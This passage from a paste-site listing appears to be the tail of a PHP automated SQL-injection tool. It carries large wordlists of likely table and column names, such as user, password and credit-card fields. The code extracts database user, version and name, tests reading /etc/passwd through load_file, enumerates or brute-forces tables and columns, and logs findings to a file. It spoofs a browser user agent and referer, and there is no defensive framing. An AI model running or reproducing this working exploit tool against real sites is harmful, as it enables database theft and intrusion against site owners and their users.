'tb_login','tb_member','tb_members','tb_user','tb_username','tb_usernames','tb_users','tbl','tbl_user','tbl_users','tbluser','tbl_clients','tbl_client','tblclients','tblclient','test','usebb_members','user','user_admin','user_info','user_list','user_login','user_logins','user_names','usercontrol','userinfo','userlist','userlogins','username','usernames','userrights','users','vb_user','vbulletin_session','vbulletin_user','voodoo_members','webadmin','webadmins','webmaster','webmasters','webuser','webusers','x_admin','xar_roles','xoops_bannerclient','xoops_users','yabb_settings','yabbse_settings','ACT_INFO','ActiveDataFeed','Category','CategoryGroup','ChicksPass','ClickTrack','Country','CountryCodes1','CustomNav','DataFeedPerformance1','DataFeedPerformance2','DataFeedPerformance2_incoming','DataFeedShowtag1','DataFeedShowtag2','DataFeedShowtag2_incoming','dtproperties','Event','Event_backup','Event_Category','EventRedirect','Events_new','Genre','JamPass','MyTicketek','MyTicketekArchive','News','PerfPassword','PerfPasswordAllSelected','Promotion','ProxyDataFeedPerformance','ProxyDataFeedShowtag','ProxyPriceInfo','Region','SearchOptions','Series','Sheldonshows','StateList','States','SubCategory','Subjects','Survey','SurveyAnswer','SurveyAnswerOpen','SurveyQuestion','SurveyRespondent','sysconstraints','syssegments','tblRestrictedPasswords','tblRestrictedShows','TimeDiff','Titles','ToPacmail1','ToPacmail2','UserPreferences','uvw_Category','uvw_Pref','uvw_Preferences','Venue','venues','VenuesNew','X_3945','tblArtistCategory','tblArtists','tblConfigs','tblLayouts','tblLogBookAuthor','tblLogBookEntry','tblLogBookImages','tblLogBookImport','tblLogBookUser','tblMails','tblNewCategory','tblNews','tblOrders','tblStoneCategory','tblStones','tblUser','tblWishList','VIEW1','viewLogBookEntry','viewStoneArtist','vwListAllAvailable','CC_info','CC_username','cms_user','cms_users','cms_admin','cms_admins','user_name','jos_user','table_user','email','mail','bulletin','cc_info','login_name','admuserinfo','userlistuser_list','SiteLogin','Site_Login','UserAdmin','Admins','Login','Logins'
  720.     );
  721.    
  722.     $column_4 = array(
  723. 'user','username','password','passwd','pass','cc_number','id','email','emri','fjalekalimi','pwd','user_name','customers_email_address','customers_password','user_password','name','user_pass','admin_user','admin_password','admin_pass','usern','user_n','users','login','logins','login_user','login_admin','login_username','user_username','user_login','auid','apwd','adminid','admin_id','adminuser','adminuserid','admin_userid','adminusername','admin_username','adminname','admin_name','usr','usr_n','usrname','usr_name','usrpass','usr_pass','usrnam','nc','uid','userid','user_id','myusername','mail','emni','logohu','punonjes','kpro_user','wp_users','emniplote','perdoruesi','perdorimi','punetoret','logini','llogaria','fjalekalimin','kodi','emer','ime','korisnik','korisnici','user1','administrator','administrator_name','mem_login','login_password','login_pass','login_passwd','login_pwd','sifra','lozinka','psw','pass1word','pass_word','passw','pass_w','user_passwd','userpass','userpassword','userpwd','user_pwd','useradmin','user_admin','mypassword','passwrd','admin_pwd','admin_passwd','mem_password','memlogin','e_mail','usrn','u_name','uname','mempassword','mem_pass','mem_passwd','mem_pwd','p_word','pword','p_assword','myname','my_username','my_name','my_password','my_email','cvvnumber','about','access','accnt','accnts','account','accounts','admin','adminemail','adminlogin','adminmail','admins','aid','aim','auth','authenticate','authentication','blog','cc_expires','cc_owner','cc_type','cfg','cid','clientname','clientpassword','clientusername','conf','config','contact','converge_pass_hash','converge_pass_salt','crack','customer','customers','cvvnumber]','data','db_database_name','db_hostname','db_password','db_username','download','e-mail','emailaddress','full','gid','group','group_name','hash','hashsalt','homepage','icq','icq_number','id_group','id_member','images','index','ip_address','last_ip','last_login','lastname','log','login_name','login_pw','loginkey','loginout','logo','md5hash','member','member_id','member_login_key','member_name','memberid','membername','members','new','news','nick','number','nummer','pass_hash','passwordsalt','passwort','personal_key','phone','privacy','pw','pwrd','salt','search','secretanswer','secretquestion','serial','session_member_id','session_member_login_key','sesskey','setting','sid','spacer','status','store','store1','store2','store3','store4','table_prefix','temp_pass','temp_password','temppass','temppasword','text','un','user_email','user_icq','user_ip','user_level','user_passw','user_pw','user_pword','user_pwrd','user_un','user_uname','user_usernm','user_usernun','user_usrnm','userip','userlogin','usernm','userpw','usr2','usrnm','usrs','warez','xar_name','xar_pass'
  724. );
  725.    
  726.     print "[-] Getting sql server information...\n";
  727.     $info = array(
  728.     'User' => 'user()',
  729.     'Database' => 'database()',
  730.     'Version' => 'version()'
  731.     );
  732.    
  733.     $rurl = $url;
  734.     $rurl2 = $url;
  735.     $rurl3 = $url;
  736.    
  737.     $ending = '--';
  738.    
  739.     foreach($info as $get => $val) {
  740.         if(preg_match("/darkc0de:(.*?):darkc0de/", con_host("".str_replace("darkc0de", "".$string."+concat(0x6461726B63306465,0x3a,$val,0x3a,0x6461726B63306465)+", $url).""), $value)) {
  741.             print "[-] $get: $value[1]\n";
  742.             save_log('injector.txt', "[-] $get: $value[1]\r\n");
  743.         }}
  744.         print "[-] Testing load file...\n";
  745.     $load = str_replace("darkc0de", "".$string."load_file(0x2f6574632f706173737764)", $rurl);
  746.     if(preg_match("/root:x:/", con_host($load))) {
  747.         print "[-] w00t w00t, you have permission to load file!\n";
  748.         print "[-] URL: $load\n";
  749.         save_log('injector.txt', "[-] w00t w00t, you have permission to load file!\r\n");
  750.         save_log('injector.txt', "[-] URL: $load\r\n");
  751.     } else {
  752.         print "[-] No permission to load file :( \n";
  753.     }
  754.             if(preg_match("/darkc0de:5.(.*?):darkc0de/", con_host("".str_replace("darkc0de", "concat(0x6461726B63306465,0x3a,version(),0x3a,0x6461726B63306465)", $url).""), $value)) {
  755.                 print "[-] MySQL Server version is : 5.x\n";
  756.                 print "[-] Start extract the column and table...\n";
  757.                 print "[-] Table : Column\n";
  758.                 $url = str_replace("darkc0de", "concat(char(114,48,120,58),count(table_name),char(58,114,48,120))", $url);
  759.                 $url = str_replace($ending, "+from+information_schema.tables+where+table_schema=database()+$ending", $url);
  760.                 if(preg_match("/r0x:(.*?):r0x/", con_host($url), $totaltbl)) {
  761.                
  762.                 print "[-] Total Table Found: ".$totaltbl[1]."\n";
  763.                 save_log('injector.txt', "[-] Total Table Found: ".$totaltbl[1]."\r\n");
  764.                
  765.                 for($i = 0; $i <= $totaltbl[1]; $i++) {
  766.                   if(preg_match("/r0x:(.*?):r0x/", con_host(str_replace(array("darkc0de", "$ending"), array("concat(char(114,48,120,58),table_name,char(58,114,48,120))", "+from+information_schema.tables+where+table_schema=database()+limit+".$i.",1+$ending"), $rurl2)), $table_name)) {
  767.                     print "[-] Table: ".$table_name[1]."\n";
  768.                     save_log('injector.txt', "[-] Table: ".$table_name[1]."\r\n");
  769.                     if(preg_match("/r0x:(.*?):r0x/", con_host(str_replace(array("darkc0de", "$ending"), array("concat(char(114,48,120,58),count(column_name),char(58,114,48,120))", "+from+information_schema.columns+where+table_name=0x".HexValue($table_name[1])."+$ending"), $rurl2)), $totalclm)) {
  770.                         print "[-] Total Column in ".$table_name[1].": ".$totalclm[1]."\n";
  771.                         save_log('injector.txt', "[-] Total Column in ".$table_name[1].": ".$totalclm[1]."\r\n");
  772.                         for($a = 0; $a <= $totalclm[1]; $a++) {
  773.                             if(preg_match("/r0x:(.*?):r0x/", con_host(str_replace(array("darkc0de", "$ending"), array("concat(char(114,48,120,58),column_name,char(58,114,48,120))", "+from+information_schema.columns+where+table_name=0x".HexValue($table_name[1])."+limit+".$a.",1+$ending"), $rurl3)), $column_name)) {
  774.                                 print "".$column_name[1].",";
  775.                                 save_log('injector.txt', "".$column_name[1].",");
  776.                           }
  777.                         }
  778.                         print "\n";
  779.                         save_log('injector.txt', "\r\n");
  780.                     }
  781.                   }
  782.                 }
  783.                
  784.                 }
  785.  
  786.             } else {
  787.                 print "[-] MySQL Server version is : 4.x\n";
  788.                 print "[-] Start automatic column and table finder...\n";
  789.                 print "[-] This may take a few minutes or hours to finish\n";
  790.                 foreach($table_4 as $table) {
  791.                     $i++;
  792.                     $url = str_replace("concat(0x696E6A336374)", "concat(0x6461726B63306465)", $rurl);
  793.                     $url = str_replace($ending, "+from+".$table."+$ending", $url);
  794.                     if(preg_match("/darkc0de/", con_host($url))) {
  795.                         print "[$i] Found Table : $table\n";
  796.                         save_log('injector.txt', "[-] Found Table : $table\r\n");
  797.                         print "[-] Finding column...\n";
  798.                          foreach($column_4 as $column) {
  799.                              $url = str_replace("darkc0de", "concat(0x6461726B63306465,0x3a,$column,0x3a,0x6461726B63306465)", $rurl);
  800.                             $url = str_replace("$ending", "+from+".$table."+$ending", $url);
  801.                             if(preg_match("/darkc0de:(.*?):darkc0de/", con_host($url))) {
  802.                                 print "[-] Found column: $column\n";
  803.                                 save_log('injector.txt', "[-] Found column: $column\r\n");
  804.                             }
  805.                          }
  806.                          save_log('injector.txt', "\r\n");
  807.                          print "[-] Done searching column inside $table table\n";
  808.                        
  809.                     }
  810.                 }
  811.             }
  812.     print "[-] Done\n";
  813.     print "[-] See 'injector.txt' to see the log\n";
  814.     exit;
  815. }
  816.  
  817.  
  818. function HexValue($text) {
  819.      for($i = 0; $i < strlen($text); $i++) {
  820.          $a .= dechex(ord($text[$i]));
  821.      }
  822.      return $a;
  823. }
  824.  
  825. function wget() {
  826. print "This is Wget\n";
  827.       fwrite(STDOUT, "-Link : ");
  828.         $link = trim(fgets(STDIN));
  829.         $foo = system('wget',$link ,$output);
  830. }
  831.  
  832. function Quit() {
  833.     print "[+] Exit the program\n";
  834.     exit;
  835. }
  836.  
  837. function Get_Info($site) {
  838.     if($info = con_host($site)) {
  839.         preg_match("/Content-Type:(.+)/", $info, $type);
  840.         preg_match("/Server:(.+)/", $info, $server);
  841.         print "[-] $type[0]\n";
  842.         print "[-] $server[0]\n";
  843.         $ip = parse_url($site);
  844.         print "[-] IP: ".gethostbyname($ip['host'])."\n";
  845.     }
  846. }
  847.  
  848. function con_host($host) {
  849.     $ch = curl_init($host);
  850.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  851.     curl_setopt($ch, CURLOPT_TIMEOUT, 200);
  852.     curl_setopt($ch, CURLOPT_HEADER, 1);
  853.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  854.     curl_setopt($ch, CURLOPT_REFERER, "http://google.com");
  855.     curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9; Mozilla Firefox');
  856.     $pg = curl_exec($ch);
  857.     if($pg){
  858.         return $pg;
  859.     } else {
  860.         return false;
  861.     }
  862. }
  863.  
  864. function find_link($site) {
  865.     if($text = con_host($site)) {
  866.     $find = "/href=[\"']?([^\"']+)?[\"']?/i";
  867.     preg_match_all($find, $text, $links);
  868.    
  869.     foreach($links[1] as $link) {
  870.         $a[] = $link;
  871.     }
  872.     return $a;
  873.  }
  874. }
  875.  
  876. function save_log($fname = '', $text = '') {
  877.     $file = @fopen(dirname(__FILE__).'/'.$fname.'', 'a');
  878.     $write = @fwrite($file, $text, '60000000');
  879.     if($write) {
  880.         return 1;
  881.     } else {
  882.         return 0;
  883.     }
  884. }
  885.  
  886. ?>
Advertisement
Add Comment
Please, Sign In to add comment